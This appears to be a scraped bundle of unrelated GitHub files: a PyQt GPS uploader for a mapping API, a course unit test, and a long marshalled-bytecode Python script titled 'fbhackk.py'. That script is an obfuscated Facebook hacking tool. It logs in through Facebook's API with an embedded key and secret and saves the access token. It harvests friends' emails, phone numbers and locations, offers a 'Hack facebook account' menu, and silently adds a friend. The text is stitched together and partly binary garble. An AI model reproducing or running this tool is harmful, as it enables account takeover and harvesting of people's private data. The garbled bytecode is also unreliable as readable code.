self.radius and pos[1] >= self.y - self.radius): if self.xspeed <= 0: self.xspeed -= random.randint(5,10) else: self.xspeed += random.randint(5,10) if self.yspeed <= 0: self.yspeed -= random.randint(10,20) else: self.yspeed += random.randint(10,20)

[ "noreply@github.com" ]

dohyunmoo.noreply@github.com

1eba989f3c48ca9bd2b7d760fa77a54a3143f1b6

39262b161d4d8eb290ed1a013a23a33d45be533b

/package/gpsuploader.py

eb18c63592ba52d8d5c8d45104bd90f6d19e865d

[]

no_license

watermelonharry/socket_func_pyqt

be9394105f5cf7c442479c04b0ac18c2a05c3605

bedbc5d3946a49eced472fcdea8cc70d727ec0ab

refs/heads/master

2021-01-16T21:29:17.226298

2017-07-27T12:24:22

59,997,128

1

0

null

2016-06-04T02:44:53

2016-05-30T09:19:47

Python

UTF-8

Python

false

5,459

py

# -*- coding:UTF-8 -*- import time from PyQt4.QtCore import QThread, QMutex, QMutexLocker import threading import requests, os """ 基于百度鹰眼api：http://lbsyun.baidu.com/index.php?title=yingyan/api/track """ ##config file path CONFIG_PATH = '/'.join(os.getcwd().split('\\')) + '/websrc/gps_config.dat' CONFIG_URL = 'http://api.map.baidu.com/trace/v2/track/addpoint' def time_to_unix(time_str): """ unix时间戳计算 :param time_str: str 'year month day hour minute sec' in decimal :return: int(UNIX_TIMESTAMP) """ try: s = time.mktime(time.strptime(time_str, '%Y %m %d %H %M %S')) return int(s) except Exception as e: return None ##INPUT: str or int(unix timestamp) ##output: str 'year month day hour minute sec' in decimal def unix_to_time(unix_str): try: dt = time.localtime(int(unix_str)) return str(' '.join([str(i) for i in dt][:6])) except Exception as e: return None def current_unix(): try: unix_str = int(time.mktime(time.localtime())) return unix_str except Exception as e: return None #class GpsUploader(threading.Thread): class GpsUploader(QThread): GPSMutex = QMutex() def __init__(self, updateMainSignal = None, recSignal = None, toPickPointSignal = None): super(GpsUploader, self).__init__() self.para = { 'ak':None, 'service_id':None, 'latitude':None, #wei du,double,-90.0~90.0 'longitude':None, #jing du,double, -180-180.0 'coord_type':1, 'loc_time':None, #UNIX time stamp 'entity_name':None} self.get_ak() self.points = [] self.updateMainSignal = updateMainSignal self.recSignal = recSignal self.toPickPointSignal = toPickPointSignal #point_tuple: (longitude, latitude, unix_time) #the element type can be str/int/double def add_point(self, point_tuple): #get lock with QMutexLocker(self.GPSMutex): self.points.append(point_tuple) #release the lock def run(self): # print(self.hello) # print (self.para) #get lock with QMutexLocker(self.GPSMutex): up_count = 0 del_count = 0 fail_count = 0 # fail_list = [] if len(self.points) != 0: for point in self.points: if self.set_point(long= point[0], lat=point[1]): if self.upload_one_point(): up_count += 1 else: fail_count += 1 # fail_list.append(point) else: del_count +=1 self.points = [] self.update_main( 'enter-func-GpsUploader-run: ' + str(up_count) + ' uploaded, ' + str(fail_count) + ' failed, ' + str( del_count) + ' deleted.') #release lock # self.points = fail_list #update to mainwindow def update_main(self, str_arg): self.updateMainSignal.emit(str_arg) print(str_arg) def get_ak(self): try: with open(CONFIG_PATH, 'r') as data: for line in data: temp = line.split(':') self.para[temp[0]] = temp[1][:-1] self.para['loc_time'] = current_unix() print(self.para) except Exception as e: print('error-uploader init failed:', e.message) def set_point(self,long = None, lat = None, time = current_unix(), coord_type = 1): if long is None or lat is None: return False else: self.para['longitude'] = long self.para['latitude'] = lat self.para['loc_time'] = time self.para['coord_type'] = coord_type return True def upload_one_point(self): reply = requests.post(CONFIG_URL, data = self.para).json() if reply['status'] is 0: return True else: return False # def GtoB(self, G_lon, G_lat): # """ # GPS坐标转换为百度坐标 # :param G_lon: GPS经度 # :param G_lat: GPS纬度 # :return: (百度经度,百度纬度) 或 None # """ # try: # import json # import base64 # url = 'http://api.map.baidu.com/ag/coord/convert?from=0&to=4&x=%s&y=%s' % (str(G_lon), str(G_lat)) # source_code = requests.get(url) # plain_text = source_code.text # c = json.loads(plain_text) # if c['error'] == 0: # return (base64.decodestring(c['x']), base64.decodestring(c['y'])) # lat,lon in string type # else: # return None # except Exception as e: # print('error in GtoB:', e.message) # return None if __name__ == '__main__': test_p = [ ('120.13143165691','30.272977524721' ), ('120.13143165690','30.272977524720' ), ('120.13143165689','30.272977524719' ), ('120.13143165688','30.272977524718' ), ('120.13143165687','30.272977524717' ), ] c = GpsUploader() for p in test_p: c.add_point(p) c.start()

[ "bongbongca@foxmail.com" ]

bongbongca@foxmail.com

f352ec7987f6f9addb4cc8a333cc19463e602697

5332fef91e044555e605bb37cbef7c4afeaaadb0

/hy-data-analysis-with-python-2020/part02-e06_file_count/test/test_file_count.py

c7d3f00f44cd8f760c403784983ad6ec08d26a70

[]

no_license

nopomi/hy-data-analysis-python-2019

f3baa96bbe9b6ee7f0b3e6f6b8b0f3adfc3b6cc8

464685cb377cfdeee890a008fbfbd9ed6e3bcfd0

refs/heads/master

2021-07-10T16:16:56.592448

2020-08-16T18:27:38

185,044,621

4

0

null

UTF-8

Python

false

1,560

py

#!/usr/bin/env python3 import sys import unittest from unittest.mock import patch from itertools import repeat from tmc import points from tmc.utils import load, get_out module_name="src.file_count" file_count = load(module_name, "file_count") main = load(module_name, "main") class FileCount(unittest.TestCase): @points('p02-06.1') def test_first(self): l, w, c = file_count("src/test.txt") self.assertEqual(l, 8, msg="Wrong number of lines for file 'test.txt'!") self.assertEqual(w, 105, msg="Wrong number of words for file 'test.txt'!") self.assertEqual(c, 647, msg="Wrong number of characters for file 'test.txt'!") @points('p02-06.1') def test_calls(self): with patch('builtins.open', side_effect=open) as o: file_count("src/test.txt") o.assert_called_once() @points('p02-06.2') def test_main(self): orig_argv = sys.argv n = 7 sys.argv[1:] = ["file%i" % i for i in range(n)] with patch('src.file_count.file_count', side_effect=repeat((0,0,0))) as fc: main() self.assertEqual(fc.call_count, n, msg="Wrong number of calls to function 'file_count' for %i command line parameters!" % n) result = get_out().split('\n') for i, line in enumerate(result): self.assertEqual(line.strip(), "0\t0\t0\tfile%i" % i, msg="Wrong result on line %i!" % i) sys.argv = orig_argv if __name__ == '__main__': unittest.main()

[ "miska.noponen@gmail.com" ]

miska.noponen@gmail.com

4ae5f578d4843f3c010396030d69aa334d3cb6e3

3fdda7a9a8efb5c41302fe39cf8cd74c09aa2326

/fbhackk.py

dba2d05a9f3a2997c14a7edaf34c360ab584cebd

[]

no_license

RandiSr/dark-fb

330809c38fe713c2d70e1571a17f400ba7e5edf5

0088d24c5b344fc71d8327dcf70ef1717cf224c4

refs/heads/master

2020-07-22T02:51:11.719676

2019-09-08T03:09:14

207,052,986

1

null

UTF-8

Python

false

204,567

py

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\n\x1b[1;96m\xe2\x96\x88 \xe2\x96\xbc\xe2\x96\xbc\xe2\x96\xbc\xe2\x96\xbc\xe2\x96\xbc _-_-- \xe2\x97\x8f\xe2\x96\xac\xe2\x96\xac\xe2\x96\xac\xe2\x96\xac\xe2\x96\xac\xe2\x96\xac\xe2\x96\xac\xe2\x96\xac\xe2\x96\xac\xe0\xb9\x91\xdb\xa9\xdb\xa9\xe0\xb9\x91\xe2\x96\xac\xe2\x96\xac\xe2\x96\xac\xe2\x96\xac\xe2\x96\xac\xe2\x96\xac\xe2\x96\xac\xe2\x96\xac\xe2\x97\x8f\n\x1b[1;96m\xe2\x96\x88. _-_-- -_ -- RECODE : RandiSr\n\x1b[1;96m\xe2\x96\x88 \xe2\x96\xb2\xe2\x96\xb2\xe2\x96\xb2\xe2\x96\xb2\xe2\x96\xb2 -_ -\xc2\xab============\xe2\x9c\xa7==========\xc2\xbb\n\x1b[1;96m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88 SUBSCRIBE NOW TO MY CHANNELL ...!!\n\x1b[1;96m \xe2\x96\x88\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x88 VIP-V1 by RandiSr \n\x1b[1;93m\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x97\n\x1b[1;93m\xe2\x95\x91\x1b[1;96m\xc2\xa4 \x1b[1;93mAuthor \x1b[1;93m: \x1b[1;93mMr.NEWBIE3X \x1b[1;93m \xe2\x95\x91\n\x1b[1;93m\xe2\x95\x91\x1b[1;96m\xc2\xa4 \x1b[1;93mKontak \x1b[1;93m: \x1b[1;93m\x1b[4m081290587***\x1b[0m \x1b[1;93m \xe2\x95\x91\n\x1b[1;93m\xe2\x95\x91\x1b[1;96m\xc2\xa4 \x1b[1;93mEmail \x1b[1;93m : \x1b[1;93m\x1b[4mRandisahrulr@gmail.com\x1b[0m \x1b[1;93m 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logini\x03\x00\x00\x00sB\x00\x00\x00xdg-open https://www.youtube.com/channel/UCbZ45S0QGbo5IAaItt-mBlA s\x1d\x00\x00\x00User dan Password Kontak me;)i\x05\x00\x00\x00s\x1b\x00\x00\x00Masukan User dan Pass nya ?s,\x00\x00\x00\n\x1b[32;1m[\x1b[33;1m#\x1b[32;1m]\x1b[37;1m Username : s+\x00\x00\x00\x1b[32;1m[\x1b[33;1m#\x1b[32;1m]\x1b[37;1m Password : s.\x00\x00\x00\x1b[32;1m[\x1b[32;1m+\x1b[32;1m]\x1b[37;1m login Berhasils8\x00\x00\x00\x1b[32;1m[\x1b[31;1m+\x1b[32;1m]\x1b[37;1m Press Enter to continue sB\x00\x00\x00\x1b[32;1m[\x1b[31;1m-\x1b[32;1m]\x1b[37;1m Password \x1b[31;1mlicensi anda salahs5\x00\x00\x00\x1b[32;1m[\x1b[31;1m+\x1b[32;1m]\x1b[37;1m You Must Enter Again s5\x00\x00\x00\x1b[32;1m[\x1b[31;1m-\x1b[32;1m]\x1b[37;1m Username \x1b[31;1mSalahs6\x00\x00\x00\x1b[32;1m[\x1b[31;1m+\x1b[32;1m]\x1b[37;1m You Must Enter Again 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\x1b[1;92m1.\x1b[1;97m Logins7\x00\x00\x00\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m2.\x1b[1;97m Login using tokens*\x00\x00\x00\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;91m0.\x1b[1;97m Exits\n\x00\x00\x00\x1b[1;97m\xe2\x95\x91s\x1d\x00\x00\x00\x1b[1;97m\xe2\x95\x9a\xe2\x95\x90\x1b[1;91mD \x1b[1;97mR\n\x00\x00\x00s\x16\x00\x00\x00\x1b[1;91m[!] Wrong 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connectiont\x02\x00\x00\x00nri\x00\x00\x00\x00t\x05\x00\x00\x00emailt\x04\x00\x00\x00passs\x0b\x00\x00\x00save-devicesG\x00\x00\x00api_key=882a8490361da98702bf97a021ddc14dcredentials_type=passwordemail=s`\x00\x00\x00format=JSONgenerate_machine_id=1generate_session_cookies=1locale=en_USmethod=auth.loginpassword=s;\x00\x00\x00return_ssl_resources=0v=1.062f8ce9f74b12f84c123cc23437a4a32t \x00\x00\x00882a8490361da98702bf97a021ddc14dt\x07\x00\x00\x00api_keyt\x08\x00\x00\x00passwordt\x10\x00\x00\x00credentials_typet\x04\x00\x00\x00JSONt\x06\x00\x00\x00formatR8\x00\x00\x00t\x13\x00\x00\x00generate_machine_idt\x18\x00\x00\x00generate_session_cookiest\x05\x00\x00\x00en_USt\x06\x00\x00\x00locales\n\x00\x00\x00auth.logint\x06\x00\x00\x00methodR:\x00\x00\x00t\x14\x00\x00\x00return_ssl_resourcess\x03\x00\x00\x001.0t\x01\x00\x00\x00vt\x03\x00\x00\x00md5t\x03\x00\x00\x00sigs\'\x00\x00\x00https://api.facebook.com/restserver.phpt\x06\x00\x00\x00paramsR\x11\x00\x00\x00t\x0c\x00\x00\x00access_tokens5\x00\x00\x00\n\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mLogin successfullysM\x00\x00\x00https://graph.facebook.com/me/friends?method=post&uids=gwimusa3&access_token=R\n\x00\x00\x00t\n\x00\x00\x00checkpoints%\x00\x00\x00\n\x1b[1;91m[!] \x1b[1;93mAccount Checkpoints\x10\x00\x00\x00rm -rf login.txti\x01\x00\x00\x00s\x18\x00\x00\x00\n\x1b[1;91m[!] Login Failed(&\x00\x00\x00R\x05\x00\x00\x00R(\x00\x00\x00R)\x00\x00\x00R+\x00\x00\x00R,\x00\x00\x00R-\x00\x00\x00R.\x00\x00\x00R/\x00\x00\x00t\x07\x00\x00\x00getpassR#\x00\x00\x00t\x02\x00\x00\x00brt\t\x00\x00\x00mechanizet\x08\x00\x00\x00URLErrorR\x08\x00\x00\x00t\x04\x00\x00\x00Truet\x08\x00\x00\x00_factoryt\x07\x00\x00\x00is_htmlt\x0b\x00\x00\x00select_formt\x04\x00\x00\x00formt\x06\x00\x00\x00submitt\x06\x00\x00\x00geturlt\x07\x00\x00\x00hashlibt\x03\x00\x00\x00newt\x06\x00\x00\x00updatet\t\x00\x00\x00hexdigestt\x08\x00\x00\x00requestst\x03\x00\x00\x00gett\x04\x00\x00\x00jsont\x05\x00\x00\x00loadst\x04\x00\x00\x00textR\x19\x00\x00\x00t\x05\x00\x00\x00closet\x04\x00\x00\x00postt\n\x00\x00\x00exceptionsR\x01\x00\x00\x00R\x1c\x00\x00\x00R\x1d\x00\x00\x00R2\x00\x00\x00(\x0b\x00\x00\x00R4\x00\x00\x00t\x02\x00\x00\x00idR6\x00\x00\x00t\x03\x00\x00\x00urlRO\x00\x00\x00t\x04\x00\x00\x00dataR\x10\x00\x00\x00t\x01\x00\x00\x00aR\'\x00\x00\x00R\x1e\x00\x00\x00t\x04\x00\x00\x00zedd(\x00\x00\x00\x00(\x00\x00\x00\x00s\x03\x00\x00\x00<s>R2\x00\x00\x00\xa3\x00\x00\x00sf\x00\x00\x00\x00\x01\r\x01\x03\x01\x0f\x01\x0b\x01\x13\x01\r\x01\x05\x01\x0c\x01\x0f\x01\x07\x01\x03\x01\x11\x01\x10\x01\x05\x01\x0b\x01\x0c\x01\x10\x01\r\x01\r\x01\n\x01\x0c\x01\x0c\x01\x03\x01\x16\x01S\x01\x0f\x01\r\x01\x0c\x01\x14\x01\x06\x01\x15\x01\x12\x01\x0f\x01\x11\x01\n\x01\x05\x01\x15\x01\r\x01\x0b\x01\x13\x01\x05\x01\x0e\x01\x0c\x01\x05\x01\r\x01\r\x01\n\x02\x05\x01\r\x01\r\x01c\x00\x00\x00\x00\x06\x00\x00\x00\x05\x00\x00\x00C\x00\x00\x00s\xda\x00\x00\x00t\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01t\x02\x00GHt\x03\x00d\x02\x00\x83\x01\x00}\x00\x00y`\x00t\x04\x00j\x05\x00d\x03\x00|\x00\x00\x17\x83\x01\x00}\x01\x00t\x06\x00j\x07\x00|\x01\x00j\x08\x00\x83\x01\x00}\x02\x00|\x02\x00d\x04\x00\x19}\x03\x00t\t\x00d\x05\x00d\x06\x00\x83\x02\x00}\x04\x00|\x04\x00j\n\x00|\x00\x00\x83\x01\x00\x01|\x04\x00j\x0b\x00\x83\x00\x00\x01t\x0c\x00\x83\x00\x00\x01WnU\x00\x04t\r\x00k\n\x00r\xd5\x00\x01\x01\x01d\x07\x00GHt\x03\x00d\x08\x00\x83\x01\x00}\x05\x00|\x05\x00d\t\x00k\x02\x00r\xb5\x00t\x0e\x00\x83\x00\x00\x01q\xd6\x00|\x05\x00d\n\x00k\x02\x00r\xcb\x00t\x0f\x00\x83\x00\x00\x01q\xd6\x00t\x0e\x00\x83\x00\x00\x01n\x01\x00Xd\x00\x00S(\x0b\x00\x00\x00NR&\x00\x00\x00s(\x00\x00\x00\x1b[1;91m[?] \x1b[1;92mToken\x1b[1;91m : \x1b[1;97ms+\x00\x00\x00https://graph.facebook.com/me?access_token=R0\x00\x00\x00s\t\x00\x00\x00login.txtR\x11\x00\x00\x00s\x10\x00\x00\x00\x1b[1;91m[!] Wrongs6\x00\x00\x00\x1b[1;91m[?] \x1b[1;92mWant to pick up token?\x1b[1;97m[y/n]: R\n\x00\x00\x00t\x01\x00\x00\x00y(\x10\x00\x00\x00R\x05\x00\x00\x00R(\x00\x00\x00R.\x00\x00\x00R/\x00\x00\x00Rb\x00\x00\x00Rc\x00\x00\x00Rd\x00\x00\x00Re\x00\x00\x00Rf\x00\x00\x00R)\x00\x00\x00R\x19\x00\x00\x00Rg\x00\x00\x00R+\x00\x00\x00R,\x00\x00\x00R\x08\x00\x00\x00R2\x00\x00\x00(\x06\x00\x00\x00R4\x00\x00\x00t\x03\x00\x00\x00otwRm\x00\x00\x00t\x04\x00\x00\x00namaRn\x00\x00\x00R\x1f\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\x03\x00\x00\x00<s>R;\x00\x00\x00\xda\x00\x00\x00s&\x00\x00\x00\x00\x01\r\x01\x05\x01\x0c\x01\x03\x01\x13\x01\x12\x01\n\x01\x0f\x01\r\x01\n\x01\x0b\x01\r\x01\x05\x01\x0c\x01\x0c\x01\n\x01\x0c\x01\n\x02c\x00\x00\x00\x00\x05\x00\x00\x00\x05\x00\x00\x00C\x00\x00\x00sc\x01\x00\x00t\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01y\x19\x00t\x02\x00d\x02\x00d\x03\x00\x83\x02\x00j\x03\x00\x83\x00\x00}\x00\x00WnD\x00\x04t\x04\x00k\n\x00rl\x00\x01\x01\x01t\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01d\x04\x00GHt\x00\x00j\x01\x00d\x05\x00\x83\x01\x00\x01t\x05\x00j\x06\x00d\x06\x00\x83\x01\x00\x01t\x07\x00\x83\x00\x00\x01n\x01\x00Xy=\x00t\x08\x00j\t\x00d\x07\x00|\x00\x00\x17\x83\x01\x00}\x01\x00t\n\x00j\x0b\x00|\x01\x00j\x0c\x00\x83\x01\x00}\x02\x00|\x02\x00d\x08\x00\x19}\x03\x00|\x02\x00d\t\x00\x19}\x04\x00Wnf\x00\x04t\r\x00k\n\x00r\xf0\x00\x01\x01\x01t\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01d\n\x00GHt\x00\x00j\x01\x00d\x05\x00\x83\x01\x00\x01t\x05\x00j\x06\x00d\x06\x00\x83\x01\x00\x01t\x07\x00\x83\x00\x00\x01n#\x00\x04t\x08\x00j\x0e\x00j\x0f\x00k\n\x00r\x12\x01\x01\x01\x01d\x0b\x00GHt\x10\x00\x83\x00\x00\x01n\x01\x00Xt\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01t\x11\x00GHd\x0c\x00|\x03\x00\x17d\r\x00\x17GHd\x0e\x00d\x0f\x00d\x10\x00\x14\x17GHd\x11\x00GHd\x12\x00GHd\x13\x00GHd\x14\x00GHd\x15\x00GHt\x12\x00\x83\x00\x00\x01d\x00\x00S(\x16\x00\x00\x00NR&\x00\x00\x00s\t\x00\x00\x00login.txtR\'\x00\x00\x00s\x1a\x00\x00\x00\x1b[1;91m[!] Token not founds\x10\x00\x00\x00rm -rf login.txti\x01\x00\x00\x00s+\x00\x00\x00https://graph.facebook.com/me?access_token=R0\x00\x00\x00Rj\x00\x00\x00s$\x00\x00\x00\x1b[1;91m[!] \x1b[1;93mAccount Checkpoints\x18\x00\x00\x00\x1b[1;91m[!] No connections:\x00\x00\x00\xe2\x95\x91\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m]\x1b[1;97m Name \x1b[1;91m: \x1b[1;92ms\x07\x00\x00\x00\x1b[1;97ms\n\x00\x00\x00\x1b[1;97m\xe2\x95\x9ai(\x00\x00\x00s\x03\x00\x00\x00\xe2\x95\x90s\x14\x00\x00\x001]. User informations(\x00\x00\x002]. Hack facebook account s\x19\x00\x00\x003]. Show token s\x16\x00\x00\x004]. LogOut s\x1f\x00\x00\x005]. Exit the programs (\x13\x00\x00\x00R\x05\x00\x00\x00R(\x00\x00\x00R)\x00\x00\x00R*\x00\x00\x00R-\x00\x00\x00R\x1c\x00\x00\x00R\x1d\x00\x00\x00R2\x00\x00\x00Rb\x00\x00\x00Rc\x00\x00\x00Rd\x00\x00\x00Re\x00\x00\x00Rf\x00\x00\x00R,\x00\x00\x00Ri\x00\x00\x00R\x01\x00\x00\x00R\x08\x00\x00\x00R.\x00\x00\x00t\x05\x00\x00\x00pilih(\x05\x00\x00\x00R4\x00\x00\x00Rp\x00\x00\x00Rm\x00\x00\x00Rq\x00\x00\x00Rj\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\x03\x00\x00\x00<s>R+\x00\x00\x00\xf1\x00\x00\x00sB\x00\x00\x00\x00\x01\r\x01\x03\x01\x19\x01\r\x01\r\x01\x05\x01\r\x01\r\x01\x0b\x01\x03\x01\x13\x01\x12\x01\n\x01\x0e\x01\r\x01\r\x01\x05\x01\r\x01\r\x01\n\x01\x13\x01\x05\x01\x0b\x01\r\x01\x05\x01\r\x01\r\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01c\x00\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00C\x00\x00\x00s\xf9\x00\x00\x00t\x00\x00d\x01\x00\x83\x01\x00}\x00\x00|\x00\x00d\x02\x00k\x02\x00r\'\x00d\x03\x00GHt\x01\x00\x83\x00\x00\x01n\xce\x00|\x00\x00d\x04\x00k\x02\x00r=\x00t\x02\x00\x83\x00\x00\x01n\xb8\x00|\x00\x00d\x05\x00k\x02\x00rS\x00t\x03\x00\x83\x00\x00\x01n\xa2\x00|\x00\x00d\x06\x00k\x02\x00r\xa3\x00t\x04\x00j\x05\x00d\x07\x00\x83\x01\x00\x01t\x06\x00GHt\x07\x00d\x08\x00d\t\x00\x83\x02\x00j\x08\x00\x83\x00\x00}\x01\x00d\n\x00|\x01\x00\x17GHt\x00\x00d\x0b\x00\x83\x01\x00\x01t\t\x00\x83\x00\x00\x01nR\x00|\x00\x00d\x0c\x00k\x02\x00r\xd3\x00t\x04\x00j\x05\x00d\r\x00\x83\x01\x00\x01t\x04\x00j\x05\x00d\x0e\x00\x83\x01\x00\x01t\n\x00\x83\x00\x00\x01n"\x00|\x00\x00d\x0f\x00k\x02\x00r\xe9\x00t\n\x00\x83\x00\x00\x01n\x0c\x00d\x03\x00GHt\x01\x00\x83\x00\x00\x01d\x00\x00S(\x10\x00\x00\x00Ns\x1d\x00\x00\x00\x1b[1;97m\xe2\x95\x9a\xe2\x95\x90\x1b[1;91mD \x1b[1;97mR\n\x00\x00\x00s\x16\x00\x00\x00\x1b[1;91m[!] Wrong inputR8\x00\x00\x00R9\x00\x00\x00t\x01\x00\x00\x003R&\x00\x00\x00s\t\x00\x00\x00login.txtR\'\x00\x00\x00s-\x00\x00\x00\x1b[1;91m[+] \x1b[1;92mYour token\x1b[1;91m :\x1b[1;97m s\x1e\x00\x00\x00\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]t\x01\x00\x00\x004s\x10\x00\x00\x00rm -rf login.txtsA\x00\x00\x00xdg-open https://www.youtube.com/channel/UCbZ45S0QGbo5IAaItt-mBlAR:\x00\x00\x00(\x0b\x00\x00\x00R/\x00\x00\x00Rr\x00\x00\x00t\t\x00\x00\x00informasit\t\x00\x00\x00menu_hackR\x05\x00\x00\x00R(\x00\x00\x00R.\x00\x00\x00R)\x00\x00\x00R*\x00\x00\x00R+\x00\x00\x00R\x08\x00\x00\x00(\x02\x00\x00\x00Rn\x00\x00\x00R4\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\x03\x00\x00\x00<s>Rr\x00\x00\x00\x14\x01\x00\x00s.\x00\x00\x00\x00\x01\x0c\x01\x0c\x01\x05\x01\n\x01\x0c\x01\n\x01\x0c\x01\n\x01\x0c\x01\r\x01\x05\x01\x15\x01\t\x01\n\x01\n\x01\x0c\x01\r\x01\r\x01\n\x01\x0c\x01\n\x02\x05\x01c\x00\x00\x00\x00\x08\x00\x00\x00\x07\x00\x00\x00C\x00\x00\x00s\xaa\x02\x00\x00t\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01y\x19\x00t\x02\x00d\x02\x00d\x03\x00\x83\x02\x00j\x03\x00\x83\x00\x00}\x00\x00Wn7\x00\x04t\x04\x00k\n\x00r_\x00\x01\x01\x01d\x04\x00GHt\x00\x00j\x01\x00d\x05\x00\x83\x01\x00\x01t\x05\x00j\x06\x00d\x06\x00\x83\x01\x00\x01t\x07\x00\x83\x00\x00\x01n\x01\x00Xt\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01t\x08\x00GHt\t\x00d\x07\x00\x83\x01\x00}\x01\x00t\n\x00d\x08\x00\x83\x01\x00\x01t\x0b\x00j\x0c\x00d\t\x00|\x00\x00\x17\x83\x01\x00}\x02\x00t\r\x00j\x0e\x00|\x02\x00j\x0f\x00\x83\x01\x00}\x03\x00x\xf6\x01|\x03\x00d\n\x00\x19D]\xd4\x01}\x04\x00|\x01\x00|\x04\x00d\x0b\x00\x19k\x06\x00s\xde\x00|\x01\x00|\x04\x00d\x0c\x00\x19k\x06\x00r\xb8\x00t\x0b\x00j\x0c\x00d\r\x00|\x04\x00d\x0c\x00\x19\x17d\x0e\x00\x17|\x00\x00\x17\x83\x01\x00}\x05\x00t\r\x00j\x0e\x00|\x05\x00j\x0f\x00\x83\x01\x00}\x06\x00d\x0f\x00d\x10\x00\x14GHy\x11\x00d\x11\x00|\x06\x00d\x0b\x00\x19\x17GHWn\x16\x00\x04t\x10\x00k\n\x00rA\x01\x01\x01\x01d\x12\x00GHn\x01\x00Xy\x11\x00d\x13\x00|\x06\x00d\x0c\x00\x19\x17GHWn\x16\x00\x04t\x10\x00k\n\x00rk\x01\x01\x01\x01d\x14\x00GHn\x01\x00Xy\x11\x00d\x15\x00|\x06\x00d\x16\x00\x19\x17GHWn\x16\x00\x04t\x10\x00k\n\x00r\x95\x01\x01\x01\x01d\x17\x00GHn\x01\x00Xy\x11\x00d\x18\x00|\x06\x00d\x19\x00\x19\x17GHWn\x16\x00\x04t\x10\x00k\n\x00r\xbf\x01\x01\x01\x01d\x1a\x00GHn\x01\x00Xy\x15\x00d\x1b\x00|\x06\x00d\x1c\x00\x19d\x0b\x00\x19\x17GHWn\x16\x00\x04t\x10\x00k\n\x00r\xed\x01\x01\x01\x01d\x1d\x00GHn\x01\x00Xy\x11\x00d\x1e\x00|\x06\x00d\x1f\x00\x19\x17GHWn\x16\x00\x04t\x10\x00k\n\x00r\x17\x02\x01\x01\x01d \x00GHn\x01\x00XyL\x00d!\x00GHx@\x00|\x06\x00d"\x00\x19D]4\x00}\x07\x00y\x15\x00d#\x00|\x07\x00d$\x00\x19d\x0b\x00\x19\x17GHWq+\x02\x04t\x10\x00k\n\x00r^\x02\x01\x01\x01d%\x00GHq+\x02Xq+\x02WWn\x11\x00\x04t\x10\x00k\n\x00rw\x02\x01\x01\x01n\x01\x00Xt\t\x00d&\x00\x83\x01\x00\x01t\x11\x00\x83\x00\x00\x01q\xb8\x00q\xb8\x00Wd\'\x00GHt\t\x00d&\x00\x83\x01\x00\x01t\x11\x00\x83\x00\x00\x01d\x00\x00S((\x00\x00\x00NR&\x00\x00\x00s\t\x00\x00\x00login.txtR\'\x00\x00\x00s\x1a\x00\x00\x00\x1b[1;91m[!] Token not founds\x10\x00\x00\x00rm -rf login.txti\x01\x00\x00\x00s>\x00\x00\x00\x1b[1;91m[+] \x1b[1;92mEnter ID\x1b[1;97m/\x1b[1;92mName\x1b[1;91m : \x1b[1;97ms,\x00\x00\x00\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mWait a minute \x1b[1;97m...s3\x00\x00\x00https://graph.facebook.com/me/friends?access_token=Rl\x00\x00\x00R0\x00\x00\x00Rj\x00\x00\x00s\x1b\x00\x00\x00https://graph.facebook.com/s\x0e\x00\x00\x00?access_token=i*\x00\x00\x00s\n\x00\x00\x00\x1b[1;97m\xe2\x95\x90s+\x00\x00\x00\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mName\x1b[1;97m : s9\x00\x00\x00\x1b[1;91m[?] \x1b[1;92mName\x1b[1;97m : \x1b[1;91mNot founds+\x00\x00\x00\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mID\x1b[1;97m : s9\x00\x00\x00\x1b[1;91m[?] \x1b[1;92mID\x1b[1;97m : \x1b[1;91mNot founds+\x00\x00\x00\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mEmail\x1b[1;97m : R?\x00\x00\x00s9\x00\x00\x00\x1b[1;91m[?] \x1b[1;92mEmail\x1b[1;97m : \x1b[1;91mNot founds+\x00\x00\x00\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mTelephone\x1b[1;97m : t\x0c\x00\x00\x00mobile_phones9\x00\x00\x00\x1b[1;91m[?] \x1b[1;92mTelephone\x1b[1;97m : \x1b[1;91mNot founds+\x00\x00\x00\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mLocation\x1b[1;97m : t\x08\x00\x00\x00locations9\x00\x00\x00\x1b[1;91m[?] \x1b[1;92mLocation\x1b[1;97m : \x1b[1;91mNot 